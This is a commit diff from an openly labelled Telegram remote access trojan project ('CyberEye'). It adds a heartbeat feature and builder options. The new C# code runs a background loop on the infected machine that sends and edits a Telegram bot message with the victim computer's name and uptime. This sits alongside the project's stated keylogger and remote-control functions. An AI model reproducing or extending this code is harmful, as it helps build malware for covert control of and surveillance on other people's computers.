Skip to content

Commit 1e4cdca

Browse files
committed
Add heartbeat status update to track PC online/offline
1 parent e532fe9 commit 1e4cdca

File tree

7 files changed

+173
-24
lines changed

7 files changed

+173
-24
lines changed

CyberEye.Client.Builder/FrmAbout.cs

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ public partial class FrmAbout : Form
1515
private int i = 0;
1616
private string aboutText =
1717
"Project: CyberEye Telegram RAT" + Environment.NewLine +
18-
"Version: 1.0.2" + Environment.NewLine +
18+
"Version: 1.0.3" + Environment.NewLine +
1919
"Coded & Modded by: Cisamu AKA cisamu123" + Environment.NewLine +
2020
"Telegram API: HTTP Requests" + Environment.NewLine +
2121
"Keylogger: Custom implementation based on .NET low-level hooks" + Environment.NewLine +
@@ -25,7 +25,7 @@ public partial class FrmAbout : Form
2525
"Special Thanks to: LimerBoy, njq8 ,open-source community and the creator of NJRat 0.7D Horror Edition 2022 for providing the open-source code that helped in the development of CyberEye." + Environment.NewLine +
2626
"GitHub: https://github.com/cisamu123/CyberEye" + Environment.NewLine +
2727
"Telegram Channel: https://t.me/Cisamu" + Environment.NewLine +
28-
"Telegram Contact: https://t.me/CodQu" + Environment.NewLine +
28+
"Telegram Contact: https://t.me/cisamu123" + Environment.NewLine +
2929
"----------------------------------------------------------";
3030
public FrmAbout()
3131
{

CyberEye.Client.Builder/FrmBuild.Designer.cs

Lines changed: 97 additions & 16 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

CyberEye.Client.Builder/FrmBuild.cs

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -297,8 +297,11 @@ private void button1_Click(object sender, EventArgs e)
297297
ilCode = ilCode.Replace("[AssemblyCopyrightBuild]", AssemblyCopyright);
298298
ilCode = ilCode.Replace("[AssemblyTrademarkBuild]", AssemblyTrademark);
299299
ilCode = ilCode.Replace("[AssemblyCultureBuild]", AssemblyCulture);
300-
ilCode = ilCode.Replace("1.0.2", AssemblyVersion);
300+
ilCode = ilCode.Replace("1.0.3", AssemblyVersion);
301301
ilCode = ilCode.Replace("[AssemblyFileVersionBuild]", AssemblyFileVersion);
302+
303+
ilCode = ilCode.Replace("[heartbeatIntervalBuild]", numericUpDown4.Value.ToString());
304+
ilCode = ilCode.Replace("[offlineThresholdBuild]", numericUpDown5.Value.ToString());
302305
// Save modified IL
303306
string tempIl = Path.GetTempFileName();
304307
File.WriteAllText(tempIl, ilCode);

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ Modded Program for remote control of windows computers via telegram bot. Written
44
<img src="images/logo.jpg">
55
</p>
66
<div id="badges" align="center">
7-
<a href="https://t.me/CodQu">
7+
<a href="https://t.me/cisamu123">
88
<img src="https://img.shields.io/badge/Telegram-blue?style=for-the-badge&logo=telegram&logoColor=white" alt="LinkedIn Badge"/>
99
</a>
1010
<a href="https://t.me/Cisamu">

TelegramRAT/Program.cs

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
*/
1515

1616
using System;
17+
using System.Threading;
1718

1819
namespace TelegramRAT
1920
{
@@ -60,6 +61,8 @@ static void Main(string[] args)
6061
telegram.sendConnection();
6162
// Wait for new commands
6263
telegram.waitCommandsThread.Start();
64+
// Heartbeat
65+
new Thread(() => telegram.HeartbeatLoop()).Start();
6366
// Need for system power events
6467
var shutdownForm = new persistence.MainForm();
6568
System.Windows.Forms.Application.Run(shutdownForm);

TelegramRAT/config.cs

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -87,8 +87,12 @@ internal sealed class config
8787
public const string AssemblyCopyright = "Copyright © 2023";
8888
public const string AssemblyTrademark = "";
8989
public const string AssemblyCulture = "";
90-
public const string AssemblyVersion = "1.0.2";
91-
public const string AssemblyFileVersion = "1.0.2";
90+
public const string AssemblyVersion = "1.0.3";
91+
public const string AssemblyFileVersion = "1.0.3";
92+
93+
// HEARTBEAT SYSTEM
94+
public static int heartbeatInterval = 30; // Seconds between heartbeats
95+
public static int offlineThreshold = 120; // Seconds without update to mark OFFLINE
9296

9397
/*
9498
// BUILDER
@@ -160,8 +164,12 @@ internal sealed class config
160164
public const string AssemblyCopyright = "[AssemblyCopyrightBuild]";
161165
public const string AssemblyTrademark = "[AssemblyTrademarkBuild]";
162166
public const string AssemblyCulture = "[AssemblyCultureBuild]";
163-
public const string AssemblyVersion = "1.0.2";
167+
public const string AssemblyVersion = "1.0.3";
164168
public const string AssemblyFileVersion = "[AssemblyFileVersionBuild]";
169+
170+
// HEARTBEAT SYSTEM
171+
public static int heartbeatInterval = Convert.ToInt32("[heartbeatIntervalBuild]"); // Seconds between heartbeats
172+
public static int offlineThreshold = Convert.ToInt32("[offlineThresholdBuild]"); // Seconds without update to mark OFFLINE
165173
*/
166174
}
167175
}

TelegramRAT/core/telegram.cs

Lines changed: 55 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,61 @@ internal class telegram
2828
public static Thread waitCommandsThread = new Thread(waitCommands);
2929
// Thread is blocked
3030
public static bool waitThreadIsBlocked = false;
31-
31+
32+
// ====== HEARTBEAT SYSTEM ======
33+
34+
private static string heartbeatMessageID = null; // Telegram message ID for editing
35+
private static DateTime startTime = DateTime.Now;
36+
private static DateTime lastHeartbeatTime = DateTime.Now;
37+
38+
public static void HeartbeatLoop()
39+
{
40+
while (true)
41+
{
42+
SendOrUpdateHeartbeat();
43+
Thread.Sleep(config.heartbeatInterval * 1000);
44+
}
45+
}
46+
47+
public static void SendOrUpdateHeartbeat()
48+
{
49+
waitForUnblock();
50+
51+
DateTime now = DateTime.Now;
52+
TimeSpan uptime = now - startTime;
53+
string status = ((DateTime.Now - lastHeartbeatTime).TotalSeconds > config.offlineThreshold)
54+
? "OFFLINE"
55+
: "ONLINE";
56+
57+
string messageText = $"🟢 STATUS: {status}\n" +
58+
$"🖥 Device: {Environment.MachineName}\n" +
59+
$"⏱ Uptime: {uptime:hh\\:mm\\:ss}\n" +
60+
$"🕒 Last heartbeat: {now:HH:mm:ss}\n" +
61+
$"⚠ No updates > {config.offlineThreshold} sec = OFFLINE\n" +
62+
$"📌 TIP: Pin this message.";
63+
64+
using (WebClient client = new WebClient())
65+
{
66+
if (heartbeatMessageID == null)
67+
{
68+
// Send new message and store its ID
69+
string response = client.DownloadString(
70+
$"https://api.telegram.org/bot{config.TelegramToken}/sendMessage?chat_id={config.TelegramChatID}&text={Uri.EscapeDataString(messageText)}"
71+
);
72+
var json = JSON.Parse(response);
73+
heartbeatMessageID = json["result"]["message_id"].Value;
74+
}
75+
else
76+
{
77+
// Edit existing heartbeat message
78+
client.DownloadString(
79+
$"https://api.telegram.org/bot{config.TelegramToken}/editMessageText?chat_id={config.TelegramChatID}&message_id={heartbeatMessageID}&text={Uri.EscapeDataString(messageText)}"
80+
);
81+
}
82+
}
83+
84+
lastHeartbeatTime = now;
85+
}
3286

3387
// If is blocked - wait
3488
private static void waitForUnblock()

0 commit comments

Comments
 (0)